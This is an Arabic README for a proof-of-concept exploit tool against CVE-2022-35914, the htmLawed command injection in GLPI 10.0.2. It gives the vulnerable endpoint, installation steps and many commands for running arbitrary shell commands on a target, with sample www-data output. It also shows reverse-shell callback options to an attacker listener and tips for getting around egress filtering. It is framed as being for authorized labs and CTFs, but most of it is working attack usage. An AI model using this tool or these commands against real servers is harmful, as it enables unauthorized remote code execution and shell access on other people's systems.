
استغلال PoC لـ CVE-2022-35914 — حقن أوامر htmLawed في GLPI v.10.0.2، وتنفيذ أوامر، ودعم الصدفة العكسية.
إثبات مفهوم (PoC) لـ CVE-2022-35914، وهي ثغرة حقن أوامر (command-injection) تتعلق بمكوّن الاختبار htmLawed في إصدارات GLPI المصابة.
توفّر الأداة تنفيذ الأوامر عبر نقطة النهاية المصابة، وتتضمّن وظيفة callback اختيارية لبيئات المختبر المصرّح بها.
إخلاء المسؤولية: هذا المشروع مخصّص للاختبار الأمني المصرّح به، وCTFs، ومختبرات OffSec/PG، والأغراض التعليمية فقط. لا تستخدمه ضد أنظمة دون تصريح صريح.
| الحقل | التفاصيل |
|---|---|
| CVE | CVE-2022-35914 |
| البرنامج | GLPI v.10.0.2 |
| المكوّن | htmLawed |
| نقطة النهاية المصابة | /vendor/htmlawed/htmlawed/htmLawedTest.php |
قد يسمح المكوّن المصاب بتنفيذ الأوامر عبر معاملات مُصمَّمة على التركيبات المتأثرة.
Python 3 والاعتماديات المطلوبة.
sudo apt install python3-requests python3-bs4
python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4
استنسخ المستودع:
git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914
اجعل السكربت قابلًا للتنفيذ:
chmod +x glpi.py
python3 glpi.py -h
python3 glpi.py -u TARGET_IP -c 'id'
مثال على المخرجات:
[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php
========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================
يحدّد الخيار -c الأمر المراد تنفيذه.
python3 glpi.py -u TARGET_IP -c 'whoami'
python3 glpi.py -u TARGET_IP -c 'id'
python3 glpi.py -u TARGET_IP -c 'uname -a'
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
| الخيار | الوصف | الافتراضي |
|---|---|---|
-u, --url | عنوان URL الهدف أو عنوان IP | مطلوب |
-c, --cmd | الأمر المراد تنفيذه | id |
--check | فحص الهدف دون تنفيذ أمر | معطّل |
--user-agent | HTTP User-Agent مخصّص | الافتراضي |
-p, --rport | منفذ خدمة HTTP الهدف | 80 |
-l, --lhost | عنوان IP الخاص بالـ callback/المستمع | — |
-lp, --lport | منفذ الـ callback/المستمع | — |
يحدّد الخيار -p / --rport المنفذ الذي تعمل عليه خدمة GLPI الويب المصابة.
الافتراضي:
80
مثال:
python3 glpi.py -u TARGET_IP -p 80 -c 'id'
استخدم --check للتحقق من توفّر صفحة اختبار htmLawed دون تنفيذ أمر:
python3 glpi.py -u TARGET_IP --check
يمكن تمرير HTTP User-Agent مخصّص عبر:
python3 glpi.py \
-u TARGET_IP \
--user-agent 'Mozilla/5.0'
يدعم السكربت معاملات callback اختيارية:
-l عنوان IP الخاص بالـ callback/المستمع
-lp منفذ الـ callback/المستمع
مثال:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
في هذا المثال:
Target: TARGET_IP:80
Callback: LHOST:80
للمنفذين غرضان مختلفان:
-p = منفذ HTTP الخاص بـ GLPI الهدف
-lp = منفذ الـ callback/المستمع
أثناء الاختبار في بيئة مختبر OffSec، نجح الـ callback عبر منفذ TCP 80.
قد تنتهي مهل منافذ callback أخرى، مثل 4444، حسب شبكة المختبر وتصفية الاتصالات الصادرة (egress filtering).
بالنسبة للبيئة المُختبرة:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
تم تكوين المستمع على واجهة Kali VPN باستخدام منفذ TCP 80.
مهم: استخدام المنفذ 80 للـ callback هو ملاحظة خاصة بالبيئة. وهو ليس متطلبًا من متطلبات CVE-2022-35914.
تحقّق أولًا من تنفيذ الأوامر:
python3 glpi.py -u TARGET_IP -c 'id'
تحقّق مما إذا كانت الأدوات المطلوبة موجودة:
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
إذا كان تنفيذ الأوامر يعمل لكن الـ callback تنتهي مهلته، فتحقّق من توجيه VPN ومنفذ الـ callback.
إذا فشل تحليل مخرجات الأوامر، يتم حفظ استجابة HTTP الكاملة في:
/tmp/glpi.html
افحصها باستخدام:
less /tmp/glpi.html
أو:
mousepad /tmp/glpi.html
python3 glpi.py \
-u TARGET_IP \
--check
python3 glpi.py \
-u TARGET_IP \
-c 'id'
python3 glpi.py \
-u TARGET_IP \
-c 'whoami'
python3 glpi.py \
-u TARGET_IP \
-c 'which nc'
بالنسبة لبيئة مختبر OffSec المُختبرة:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
يُقدَّم هذا المشروع لأغراض تعليمية ولأغراض الاختبار الأمني المصرّح به فقط.
المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر أو وصول غير مصرّح به أو نشاط غير قانوني يتعلق بهذا البرنامج.
احصل دائمًا على تصريح صريح قبل اختبار أي نظام.
cyb3rk0ala
CVE-2022-35914
CVE-2022-35914 بواسطة cyb3rk0ala